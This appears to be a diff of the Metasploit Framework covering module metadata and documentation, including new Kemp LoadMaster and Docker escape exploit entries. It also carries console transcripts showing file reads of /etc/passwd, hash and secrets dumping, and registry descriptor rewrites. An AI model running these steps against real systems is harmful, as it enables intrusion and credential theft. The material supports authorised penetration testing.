"path": "/modules/auxiliary/scanner/nessus/nessus_rest_login.rb",
"is_install_path": true,
"ref_name": "scanner/nessus/nessus_rest_login",
@@ -49218,7 +49473,7 @@
],
"targets": null,
"mod_time": "2022-01-23 15:28:32 +0000",
"mod_time": "2024-05-03 10:45:37 +0000",
"path": "/modules/auxiliary/scanner/pop3/pop3_login.rb",
"is_install_path": true,
"ref_name": "scanner/pop3/pop3_login",
@@ -49637,7 +49892,7 @@
"postgres"
],
"targets": null,
"mod_time": "2024-04-12 11:43:30 +0000",
"mod_time": "2024-05-13 13:54:14 +0000",
"path": "/modules/auxiliary/scanner/postgres/postgres_login.rb",
"is_install_path": true,
"ref_name": "scanner/postgres/postgres_login",
@@ -50435,7 +50690,7 @@
],
"targets": null,
"mod_time": "2022-01-23 15:28:32 +0000",
"mod_time": "2024-05-03 10:45:37 +0000",
"path": "/modules/auxiliary/scanner/redis/redis_login.rb",
"is_install_path": true,
"ref_name": "scanner/redis/redis_login",
@@ -50769,7 +51024,7 @@
],
"targets": null,
"mod_time": "2021-08-31 17:10:07 +0000",
"mod_time": "2024-05-03 10:45:37 +0000",
"path": "/modules/auxiliary/scanner/sage/x3_adxsrv_login.rb",
"is_install_path": true,
"ref_name": "scanner/sage/x3_adxsrv_login",
@@ -53923,13 +54178,13 @@
"author": [
"hdm <x@hdm.io>"
],
"description": "Determine what local users exist via the SAM RPC service",
"description": "Determine what users exist via the SAM RPC service",
"references": [
],
"platform": "",
"arch": "",
"rport": null,
"rport": 445,
"autofilter_ports": [
139,
445
@@ -53939,7 +54194,7 @@
"microsoft-ds"
],
"targets": null,
"mod_time": "2024-02-02 14:26:43 +0000",
"mod_time": "2024-05-07 10:54:35 +0000",
"path": "/modules/auxiliary/scanner/smb/smb_enumusers.rb",
"is_install_path": true,
"ref_name": "scanner/smb/smb_enumusers",
@@ -54033,7 +54288,7 @@
"microsoft-ds"
],
"targets": null,
"mod_time": "2024-04-09 15:24:02 +0000",
"mod_time": "2024-05-13 13:54:14 +0000",
"path": "/modules/auxiliary/scanner/smb/smb_login.rb",
"is_install_path": true,
"ref_name": "scanner/smb/smb_login",
@@ -54236,7 +54491,7 @@
"microsoft-ds"
],
"targets": null,
"mod_time": "2023-01-25 13:58:29 +0000",
"mod_time": "2024-05-07 10:54:35 +0000",
"path": "/modules/auxiliary/scanner/smb/smb_version.rb",
"is_install_path": true,
"ref_name": "scanner/smb/smb_version",
@@ -55030,7 +55285,7 @@
],
"targets": null,
"mod_time": "2024-04-08 17:41:59 +0000",
"mod_time": "2024-05-03 10:45:37 +0000",
"path": "/modules/auxiliary/scanner/snmp/snmp_login.rb",
"is_install_path": true,
"ref_name": "scanner/snmp/snmp_login",
@@ -55460,7 +55715,7 @@
],
"targets": null,
"mod_time": "2021-08-31 15:37:48 +0000",
"mod_time": "2024-05-03 10:45:37 +0000",
"path": "/modules/auxiliary/scanner/ssh/karaf_login.rb",
"is_install_path": true,
"ref_name": "scanner/ssh/karaf_login",
@@ -55704,7 +55959,7 @@
],
"targets": null,
"mod_time": "2024-02-22 14:18:29 +0000",
"mod_time": "2024-05-03 10:45:37 +0000",
"path": "/modules/auxiliary/scanner/ssh/ssh_login.rb",
"is_install_path": true,
"ref_name": "scanner/ssh/ssh_login",
@@ -55746,7 +56001,7 @@
],
"targets": null,
"mod_time": "2024-02-22 14:18:29 +0000",
"mod_time": "2024-05-03 10:45:37 +0000",
"path": "/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb",
"is_install_path": true,
"ref_name": "scanner/ssh/ssh_login_pubkey",
@@ -56162,7 +56417,7 @@
"telnet"
],
"targets": null,
"mod_time": "2024-02-22 14:18:29 +0000",
"mod_time": "2024-05-03 10:45:37 +0000",
"path": "/modules/auxiliary/scanner/telnet/brocade_enable_login.rb",
"is_install_path": true,
"ref_name": "scanner/telnet/brocade_enable_login",
@@ -56374,7 +56629,7 @@
"telnet"
],
"targets": null,
"mod_time": "2024-02-22 14:18:29 +0000",
"mod_time": "2024-05-03 10:45:37 +0000",
"path": "/modules/auxiliary/scanner/telnet/telnet_login.rb",
"is_install_path": true,
"ref_name": "scanner/telnet/telnet_login",
@@ -56898,7 +57153,7 @@
],
"targets": null,
"mod_time": "2019-06-27 17:06:32 +0000",
"mod_time": "2024-05-03 10:45:37 +0000",
"path": "/modules/auxiliary/scanner/varnish/varnish_cli_login.rb",
"is_install_path": true,
"ref_name": "scanner/varnish/varnish_cli_login",
@@ -56989,7 +57244,7 @@
],
"targets": null,
"mod_time": "2021-08-31 17:10:07 +0000",
"mod_time": "2024-05-03 10:45:37 +0000",
"path": "/modules/auxiliary/scanner/vmware/vmauthd_login.rb",
"is_install_path": true,
"ref_name": "scanner/vmware/vmauthd_login",
@@ -57583,7 +57838,7 @@
],
"targets": null,
"mod_time": "2021-08-31 17:10:07 +0000",
"mod_time": "2024-05-03 10:45:37 +0000",
"path": "/modules/auxiliary/scanner/vnc/vnc_login.rb",
"is_install_path": true,
"ref_name": "scanner/vnc/vnc_login",
@@ -57960,7 +58215,7 @@
"winrm"
],
"targets": null,
"mod_time": "2024-02-22 14:18:29 +0000",
"mod_time": "2024-05-03 10:45:37 +0000",
"path": "/modules/auxiliary/scanner/winrm/winrm_login.rb",
"is_install_path": true,
"ref_name": "scanner/winrm/winrm_login",
@@ -78329,6 +78584,68 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/http/progress_kemp_loadmaster_unauth_cmd_injection": {
"name": "Kemp LoadMaster Unauthenticated Command Injection",
"fullname": "exploit/linux/http/progress_kemp_loadmaster_unauth_cmd_injection",
"aliases": [
],
"rank": 600,
"disclosure_date": "2024-03-19",
"type": "exploit",
"author": [
"Dave Yesland with Rhino Security Labs"
],
"description": "This module exploits an unauthenticated command injection vulnerability in\n Progress Kemp LoadMaster in the authorization header after vversion 7.2.48.1.\n The following versions are patched: 7.2.59.2 (GA), 7.2.54.8 (LTSF) and\n 7.2.48.10 (LTS).",
"references": [
"CVE-2024-1212",
"URL-https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster/",
"URL-https://kemptechnologies.com/kemp-load-balancers"
],
"platform": "Linux,Unix",
"arch": "cmd",
"rport": 443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Automatic",
"Do_Not_Prepend_Runonce_Code"
],
"mod_time": "2024-04-26 17:36:50 +0000",
"path": "/modules/exploits/linux/http/progress_kemp_loadmaster_unauth_cmd_injection.rb",
"is_install_path": true,
"ref_name": "linux/http/progress_kemp_loadmaster_unauth_cmd_injection",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"SideEffects": [
"ioc-in-logs",
"artifacts-on-disk"
],
"Reliability": [
"repeatable-session"
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/http/pulse_secure_cmd_exec": {
"name": "Pulse Secure VPN Arbitrary Command Execution",
"fullname": "exploit/linux/http/pulse_secure_cmd_exec",
@@ -85283,6 +85600,65 @@
]
},
"exploit_linux/local/docker_privileged_container_kernel_escape": {
"name": "Docker Privileged Container Kernel Escape",
"fullname": "exploit/linux/local/docker_privileged_container_kernel_escape",
"aliases": [
],
"rank": 300,
"disclosure_date": "2014-05-01",
"type": "exploit",
"author": [
"Nick Cottrell <Rad10Logic>",
"Eran Ayalon",
"Ilan Sokol"
],
"description": "This module performs a container escape onto the host as the daemon\n user. It takes advantage of the SYS_MODULE capability. If that\n exists and the linux headers are available to compile on the target,\n then we can escape onto the host.",
"references": [
"URL-https://www.cybereason.com/blog/container-escape-all-you-need-is-cap-capabilities",
"URL-https://github.com/maK-/reverse-shell-access-kernel-module"
],
"platform": "Linux,Unix",
"arch": "cmd",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Automatic"
],
"mod_time": "2024-05-01 13:30:16 +0000",
"path": "/modules/exploits/linux/local/docker_privileged_container_kernel_escape.rb",
"is_install_path": true,
"ref_name": "linux/local/docker_privileged_container_kernel_escape",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"artifacts-on-disk",
"ioc-in-logs"
]
},
"session_types": [
"shell",
"meterpreter"
],
"needs_cleanup": true,
"actions": [
]
},
"exploit_linux/local/docker_runc_escape": {
"name": "Docker Container Escape Via runC Overwrite",
"fullname": "exploit/linux/local/docker_runc_escape",
@@ -86727,6 +87103,65 @@
]
},
"exploit_linux/local/progress_kemp_loadmaster_sudo_privesc_2024": {
"name": "Kemp LoadMaster Local sudo privilege escalation",
"fullname": "exploit/linux/local/progress_kemp_loadmaster_sudo_privesc_2024",
"aliases": [
],
"rank": 600,
"disclosure_date": "2024-03-19",
"type": "exploit",
"author": [
"Dave Yesland with Rhino Security Labs",
"bwatters-r7"
],
"description": "This module abuses a feature of the sudo command on Progress Kemp\n LoadMaster. Certain binary files are allowed to automatically elevate\n with the sudo command. This is based off of the file name. Some files\n have this permission are not write-protected from the default 'bal' user.\n As such, if the file is overwritten with an arbitrary file, it will still\n auto-elevate. This module overwrites the /bin/loadkeys file with another\n executable.",
"references": [
"URL-https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster/",
"URL-https://kemptechnologies.com/kemp-load-balancers"
],
"platform": "Linux,Unix",
"arch": "",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Dropper",
"Command"
],
"mod_time": "2024-05-10 08:54:23 +0000",
"path": "/modules/exploits/linux/local/progress_kemp_loadmaster_sudo_privesc_2024.rb",
"is_install_path": true,
"ref_name": "linux/local/progress_kemp_loadmaster_sudo_privesc_2024",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"SideEffects": [
"ioc-in-logs",
"artifacts-on-disk"
],
"Reliability": [
"repeatable-session"
]
},
"session_types": [
"shell",
"meterpreter"
],
"needs_cleanup": true,
"actions": [
]
},
"exploit_linux/local/ptrace_sudo_token_priv_esc": {
"name": "ptrace Sudo Token Privilege Escalation",
"fullname": "exploit/linux/local/ptrace_sudo_token_priv_esc",
@@ -97124,7 +97559,7 @@
"Automatic (Dropper)",
"Unix Command (In-Memory)"
],
"mod_time": "2021-10-10 17:01:15 +0000",
"mod_time": "2024-05-01 20:01:38 +0000",
"path": "/modules/exploits/multi/http/apache_normalize_path_rce.rb",
"is_install_path": true,
"ref_name": "multi/http/apache_normalize_path_rce",
@@ -97177,7 +97612,7 @@
"targets": [
"Automatic (Unix In-Memory)"
],
"mod_time": "2023-06-08 17:34:45 +0000",
"mod_time": "2024-04-26 14:24:08 +0000",
"path": "/modules/exploits/multi/http/apache_rocketmq_update_config.rb",
"is_install_path": true,
"ref_name": "multi/http/apache_rocketmq_update_config",
@@ -113910,7 +114345,7 @@
"Linux",
"Unix"
],
"mod_time": "2023-11-06 09:42:59 +0000",
"mod_time": "2024-04-29 16:15:50 +0000",
"path": "/modules/exploits/multi/misc/apache_activemq_rce_cve_2023_46604.rb",
"is_install_path": true,
"ref_name": "multi/misc/apache_activemq_rce_cve_2023_46604",
@@ -182618,7 +183053,7 @@
"targets": [
"Automatic"
],
"mod_time": "2024-03-12 14:09:22 +0000",
"mod_time": "2024-03-05 13:27:00 +0000",
"path": "/modules/exploits/windows/mssql/mssql_payload.rb",
"is_install_path": true,
"ref_name": "windows/mssql/mssql_payload",
@@ -251513,13 +251948,13 @@
"references": [
],
"platform": "Linux",
"platform": "Linux,Unix",
"arch": "",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2023-07-19 19:47:17 +0000",
"mod_time": "2024-04-26 21:58:43 +0000",
"path": "/modules/post/linux/gather/checkcontainer.rb",
"is_install_path": true,
"ref_name": "linux/gather/checkcontainer",
@@ -251527,6 +251962,15 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
]
},
"session_types": [
"shell",
@@ -261,4 +261,4 @@ msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username
[*] Certificate stored at: /home/user/.msf4/loot/20240404122240_default_20.92.148.129_windows.ad.cs_785877.pfx
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 1107833b-0eb6-0477-a7c6-3590b326851a
[*] Auxiliary module execution completed
```
```
@@ -60,14 +60,17 @@ msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > options
Module options (auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass):
Name Current Setting Required Description
---- --------------- -------- -----------
BASE_DN no LDAP base DN if you already have it
NEW_PASSWORD no Password of admin user to add
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 636 yes The target port
SSL true no Enable SSL on the LDAP connection
NEW_USERNAME no Username of admin user to add
Name Current Setting Required Description
---- --------------- -------- -----------
BASE_DN no LDAP base DN if you already have it
DOMAIN no The domain to authenticate to
NEW_PASSWORD no Password of admin user to add
NEW_USERNAME no Username of admin user to add
PASSWORD no The password to authenticate with
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 636 yes The target port
SSL true no Enable SSL on the LDAP connection
USERNAME no The username to authenticate with
Auxiliary action:
@@ -0,0 +1,84 @@
## Vulnerable Application
This module reads or writes a Windows registry security descriptor remotely.
In READ mode, the `FILE` option can be set to specify where the security
descriptor should be written to.
The following format is used:
```
key: <registry key>
security_info: <security information>
sd: <security descriptor as a hex string>
```
In WRITE mode, the `FILE` option can be used to specify the information needed
to write the security descriptor to the remote registry. The file must follow
the same format as described above.
## Verification Steps
1. Start msfconsole
1. Do: `use auxiliary/admin/registry_security_descriptor`
1. Do: `run verbose=true rhost=<host> smbuser=<username> smbpass=<password> key=<registry key>`
1. **Verify** the registry key security descriptor is displayed
1. Do: `run verbose=true rhost=<host> smbuser=<username> smbpass=<password> key=<registry key> file=<file path>`
1. **Verify** the registry key security descriptor is saved to the file
1. Do: `run verbose=true rhost=<host> smbuser=<username> smbpass=<password> key=<registry key> action=write sd=<security descriptor as a hex string>`
1. **Verify** the security descriptor is correctly set on the given registry key
1. Do: `run verbose=true rhost=<host> smbuser=<username> smbpass=<password> file=<file path>`
1. **Verify** the security descriptor taken from the file is correctly set on the given registry key
## Options
### KEY
Registry key to read or write.
### SD
Security Descriptor to write as a hex string.
### SECURITY_INFORMATION
Security Information to read or write (see
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/23e75ca3-98fd-4396-84e5-86cd9d40d343
(default: OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION).
### FILE
File path to store the security descriptor when reading or source file path used to write the security descriptor when writing
## Scenarios
### Read against Windows Server 2019
```
msf6 auxiliary(admin/registry_security_descriptor) > run verbose=true rhost=192.168.101.124 smbuser=Administrator smbpass=123456 action=READ key='HKLM\SECURITY\Policy\PolEKList'
[*] Running module against 192.168.101.124
[+] 192.168.101.124:445 - Raw security descriptor for HKLM\SECURITY\Policy\PolEKList: 01000480480000005800000000000000140000000200340002000000000214003f000f0001010000000000051200000000021800000006000102000000000005200000002002000001020000000000052000000020020000010100000000000512000000
[*] Auxiliary module execution completed
```
### Write against Windows Server 2019
Note that the information security has been set to 4 (DACL_SECURITY_INFORMATION) to avoid an access denied error.
```
msf6 auxiliary(admin/registry_security_descriptor) > run verbose=true rhost=192.168.101.124 smbuser=Administrator smbpass=123456 key='HKLM\SECURITY\Policy\PolEKList' action=WRITE sd=01000480480000005800000000000000140000000200340002000000000214003f000f0001010000000000051200000000021800000006000102000000000005200000002002000001020000000000052000000020020000010100000000000512000000 security_information=4
[*] Running module against 192.168.101.124
[+] 192.168.101.124:445 - Security descriptor set for HKLM\SECURITY\Policy\PolEKList
[*] Auxiliary module execution completed
```
### Write against Windows Server 2019 (from file)
```
msf6 auxiliary(admin/registry_security_descriptor) > run verbose=true rhost=192.168.101.124 smbuser=Administrator smbpass=123456 action=WRITE file=/tmp/remote_registry_sd_backup.yml
[*] Running module against 192.168.101.124
[*] 192.168.101.124:445 - Getting security descriptor info from file /tmp/remote_registry_sd_backup.yml
key: HKLM\SECURITY\Policy\PolEKList
security information: 4
security descriptor: 01000480480000005800000000000000140000000200340002000000000214003f000f0001010000000000051200000000021800000006000102000000000005200000002002000001020000000000052000000020020000010100000000000512000000
[+] 192.168.101.124:445 - Security descriptor set for HKLM\SECURITY\Policy\PolEKList
[*] Auxiliary module execution completed
```
@@ -0,0 +1,59 @@
## Vulnerable Application
This module exploits an Improper Access Vulnerability in Adobe Coldfusion versions prior to version
'2023 Update 6' and '2021 Update 12'. The vulnerability allows unauthenticated attackers to request authentication
token in the form of a UUID from the /CFIDE/adminapi/_servermanager/servermanager.cfc endpoint. Using that
UUID attackers can hit the /pms endpoint in order to exploit the Arbitrary File Read Vulnerability.
### Setup
#TODO: Find out how to setup a vulnerable target and put those details here.
## Verification Steps
1. Start msfconsole
1. Do: `use coldfusion_pms_servlet_file_read`
1. Set the `RHOST` and datastore option
1. If the target host is running Windows, change the default `FILE_PATH` datastore options from `/tmp/passwd` to a file path that exists on Windows.
1. Run the module
1. Receive the contents of the `FILE_PATH` file
## Scenarios
### ColdFusion Version 2023.0.0.330468 running on Linux
```
msf6 auxiliary(gather/coldfusion_pms_servlet_file_read) > run
[*] Reloading module...
[*] Running module against 127.0.0.1
[*] Attempting to retrieve UUID ...
[+] UUID found: 1c49c29a-f1c0-4ed0-9f9e-215f434c8a12
[*] Attempting to exploit directory traversal to read /etc/passwd
[+] File content:
n00tmeg:x:1000:1000:n00tmeg,,,:/home/n00tmeg:/bin/bash
hplip:x:127:7:HPLIP system user,,,:/run/hplip:/bin/false
pulse:x:125:132:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
colord:x:123:130:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
nm-openvpn:x:121:127:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
speech-dispatcher:x:119:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
whoopsie:x:117:124::/nonexistent:/bin/false
cups-pk-helper:x:115:122:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
kernoops:x:113:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
tcpdump:x:109:117::/nonexistent:/usr/sbin/nologin
uuidd:x:107:115::/run/uuidd:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:103:106:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
games:x:5:60:games:/usr/games:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
[+] Results saved to: /Users/jheysel/.msf4/loot/20240403192500_default_127.0.0.1_coldfusion.file_475871.txt
[*] Auxiliary module execution completed
```
@@ -0,0 +1,81 @@
## Vulnerable Application
This module leverages an unauthenticated server-side template injection vulnerability in CrushFTP < 10.7.1 and
< 11.1.0 (as well as legacy 9.x versions). Attackers can submit template injection payloads to the web API without
authentication. When attacker payloads are reflected in the server's responses, the payloads are evaluated. The
primary impact of the injection is arbitrary file read as root, which can result in authentication bypass, remote
code execution, and NetNTLMv2 theft (when the host OS is Windows and SMB egress traffic is permitted).
More information can be found in the [Rapid7 AttackerKB Analysis](https://attackerkb.com/topics/20oYjlmfXa/cve-2024-4040/rapid7-analysis).
## Options
### INJECTINTO
The unauthenticated API function to use for template injection (default: zip).
### STORE_LOOT
Whether the read file's contents should be outputted to the console or stored as loot (default: false).
### TARGETFILE
The target file to read (default: users/MainUsers/groups.XML). This can be a full path, a relative path, or a network share path (if
firewalls permit). Files containing binary data may not be read accurately. Though file paths for Windows targets can contain `:`
characters, like `C:\Windows\win.ini`, this will result in payloads not being fully redacted from CrushFTP logs.
## Testing
To set up a test environment:
1. Download an affected version of CrushFTP [here](https://github.com/the-emmons/CVE-2023-43177/releases/download/crushftp_software/CrushFTP10.zip) (SHA256: adc3619937ebb57b3a95c50f78fda5c388d072c0d34a317b9ed64a31127a6d3f).
2. Configure `CRUSH_DIR` in `crushftp_init.sh` to point to the correct install directory.
3. Execute `java -jar CrushFTP.jar` to show a local client GUI interface that can be used to set up an admin account.
4. Execute `sudo crushftp_init.sh start` to launch the software on Linux or Mac. If on Windows, run `CrushFTP.exe` as an administrator.
5. Follow the verification steps below.
## Verification Steps
1. Start msfconsole
2. `use auxiliary/gather/crushftp_fileread_cve_2024_4040`
3. `set RHOSTS <TARGET_IP_ADDRESS>`
4. `set RPORT <TARGET_PORT>`
5. `set TARGETFILE <TARGET_FILE_TO_READ>`
6. `set STORE_LOOT false` if you want to display file on the console instead of storing it as loot.
7. `run`
## Scenarios
### CrushFTP on Windows, Linux, or Mac
```
msf6 auxiliary(gather/crushftp_fileread_cve_2024_4040) > show options
Module options (auxiliary/gather/crushftp_fileread_cve_2024_4040):
Name Current Setting Required Description
---- --------------- -------- -----------
INJECTINTO zip yes The CrushFTP API function to inject into (Accepted: zip, exists)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasp
loit.html
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
STORE_LOOT false yes Store the target file as loot
TARGETFILE users/MainUsers/groups.XML yes The target file to read. This can be a full path, a relative path, or a network share path (i
f firewalls permit). Files containing binary data may not be read accurately
TARGETURI / yes The URI path to CrushFTP
VHOST no HTTP server virtual host
View the full module info with the info, or info -d command.
msf6 auxiliary(gather/crushftp_fileread_cve_2024_4040) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 auxiliary(gather/crushftp_fileread_cve_2024_4040) > check
[+] 127.0.0.1:8080 - The target is vulnerable. Server-side template injection successful!
msf6 auxiliary(gather/crushftp_fileread_cve_2024_4040) > run
[*] Running module against 127.0.0.1
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Server-side template injection successful!
[*] Fetching anonymous session cookie...
[*] Using template injection to read file: users/MainUsers/groups.XML
[+] File read succeeded!
<?xml version="1.0" encoding="UTF-8"?>
<groups type="properties"></groups>
[*] Auxiliary module execution completed
```
@@ -28,20 +28,25 @@ msf5 auxiliary(gather/ldap_hashdump) > options
Module options (auxiliary/gather/ldap_hashdump):
Name Current Setting Required Description
---- --------------- -------- -----------
BASE_DN no LDAP base DN if you already have it
BIND_DN no The username to authenticate to LDAP server
BIND_PW no Password for the BIND_DN
PASS_ATTR userPassword yes LDAP attribute, that contains password hashes
RHOSTS 127.0.0.1 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 1389 yes The target port
SSL false no Enable SSL on the LDAP connection
USER_ATTR dn no LDAP attribute, that contains username
Auxiliary action:
Name Current Setting Required Description
---- --------------- -------- -----------
BASE_DN no LDAP base DN if you already have it]
DOMAIN no The domain to authenticate to
MAX_LOOT no Maximum number of LDAP entries to loot
PASSWORD no The password to authenticate with
PASS_ATTR userPassword, sambantpassword, sambalmpassword, mailu yes LDAP attribute, that contains password hashes
serpassword, password, pwdhistory, passwordhistory, c
learpassword
READ_TIMEOUT 600 no LDAP read timeout in seconds
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.h
tml
RPORT 1389 yes The target port
SSL true no Enable SSL on the LDAP connection
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME no The username to authenticate with
USER_ATTR dn no LDAP attribute(s), that contains username
Auxiliary action:
Name Description
---- -----------
Dump Dump all LDAP data
@@ -214,23 +214,33 @@ QUERY_FILE_PATH => /home/gwillcox/git/metasploit-framework/test.yaml
msf6 auxiliary(gather/ldap_query) > show options
Module options (auxiliary/gather/ldap_query):
Name Current Setting Required Description
---- --------------- -------- -----------
BASE_DN no LDAP base DN if you already have it
BIND_DN normal@daforest.com no The username to authenticate to LDAP server
BIND_PW thePassword123 no Password for the BIND_DN
OUTPUT_FORMAT table yes The output format to use (Accepted: csv, table, json)
QUERY_FILE_PATH /home/gwillcox/git/metasploit-fram no Path to the JSON or YAML file to load and run queries from
ework/test.yaml
RHOSTS 172.27.51.83 yes The target host(s), see https://github.com/rapid7/metasploit-f
ramework/wiki/Using-Metasploit
RPORT 389 yes The target port
SSL false no Enable SSL on the LDAP connection
Name Current Setting Required Description
---- --------------- -------- -----------
BASE_DN no LDAP base DN if you already have it
DOMAIN no The domain to authenticate to
OUTPUT_FORMAT table yes The output format to use (Accepted: csv, table, json)
PASSWORD thePassword123 no The password to authenticate with
RHOSTS 172.27.51.83 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 389 yes The target port
SSL false no Enable SSL on the LDAP connection
USERNAME normal@daforest.com no The username to authenticate with
Auxiliary action:
When ACTION is RUN_QUERY_FILE:
Name Current Setting Required Description
---- --------------- -------- -----------
QUERY_FILE_PATH /home/gwillcox/git/metasploit-framework/test.yaml no Path to the JSON or YAML file to load and run queries from
When ACTION is RUN_SINGLE_QUERY:
Name Current Setting Required Description
---- --------------- -------- -----------
QUERY_ATTRIBUTES no Comma separated list of attributes to retrieve from the server
QUERY_FILTER no Filter to send to the target LDAP server to perform the query
Auxiliary action:
Name Description
---- -----------
RUN_QUERY_FILE Execute a custom set of LDAP queries from the JSON or YAML file specified by QUERY_FILE.
@@ -39,14 +39,15 @@ If you already have the LDAP base DN, you may set it in this option.
msf5 > use auxiliary/gather/vmware_vcenter_vmdir_ldap
msf5 auxiliary(gather/vmware_vcenter_vmdir_ldap) > options
Module options (auxiliary/gather/vmware_vcenter_vmdir_ldap):
Name Current Setting Required Description
---- --------------- -------- -----------
BASE_DN no LDAP base DN if you already have it
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 636 yes The target port
SSL true no Enable SSL on the LDAP connection
Name Current Setting Required Description
---- --------------- -------- -----------
BASE_DN no LDAP base DN if you already have it
DOMAIN no The domain to authenticate to
PASSWORD no The password to authenticate with
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 636 yes The target port
SSL true no Enable SSL on the LDAP connection
USERNAME no The username to authenticate with
Auxiliary action:
@@ -2,10 +2,15 @@
### Description
The `windows_secrets_dump` auxiliary module dumps SAM hashes and LSA secrets
(including cached creds) from the remote Windows target without executing any
agent locally. First, it reads as much data as possible from the registry and
then save the hives locally on the target (`%SYSTEMROOT%\\random.tmp`).
Finally, it downloads the temporary hive files and reads the rest of the data
from it. These temporary files are removed when it's done.
agent locally. This is done by remotely updating the registry key security
descriptor, taking advantage of the WriteDACL privileges held by local
administrators to set temporary read permissions.
This can be disabled by setting the `INLINE` option to false and the module
will fallback to the original implementation, which consists in saving the
registry hives locally on the target (%SYSTEMROOT%\Temp\<random>.tmp),
downloading the temporary hive files and reading the data from it. This
temporary files are removed when it's done.
On domain controllers, secrets from Active Directory is extracted using [MS-DRDS]
DRSGetNCChanges(), replicating the attributes we need to get SIDs, NTLM hashes,
@@ -43,7 +48,10 @@ Windows XP/Server 2003 to Windows 10/Server version 2004.
14. Verify the notes are there
## Options
Apart from the standard SMB options, no other specific options are needed.
### INLINE
Use inline technique to read protected keys from the registry remotely without
saving the hives to disk (default: true).
## Actions
@@ -0,0 +1,97 @@
## Vulnerable Application
CVE-2024-1212: Progress Kemp LoadMaster Unauthenticated Command Injection
For more details on the vulnerability:
https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster/
https://support.kemptechnologies.com/hc/en-us/articles/23878931058445-LoadMaster-Security-Vulnerability-CVE-2024-1212
A trial VM which the exploit should work against out of the box can be downloaded from:
https://sso.kemptechnologies.com/register/kemp/vlm
The AWS marketplace also has free trials which can be used. These require the "session management" to be enabled in order for the exploit to work. Since by default the admin WUI is behind basic auth.
https://aws.amazon.com/marketplace/pp/prodview-kgh3dsfk7qcnw
## Verification Steps
1. Install the application
1. Start msfconsole
1. Do: `use exploits/linux/http/progress_kemp_loadmaster_unauth_cmd_injection`
1. Do: `set RHOSTS <target loadmaster>`
1. Do: `set RPORT <port loadmaster is running on>`
1. Do: `set LHOST <your host IP>`
1. Do: `run`
1. You should get a shell as the `bal` user.
1. (Optional) use the module `exploit/linux/local/progress_kemp_loadmaster_sudo_privesc_2024` to gain root privileges.
1. (Optional) use the script `run_progress_kemp_loadmaster_sudo_priv_esc_2024.rc` to automatically run the above module.
## Scenarios
### LoadMaster 7.2.59.0.22007
``` msf
msf6 exploit(linux/http/progress_kemp_loadmaster_unauth_cmd_injection) > show options
Module options (exploit/linux/http/progress_kemp_loadmaster_unauth_cmd_injection):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
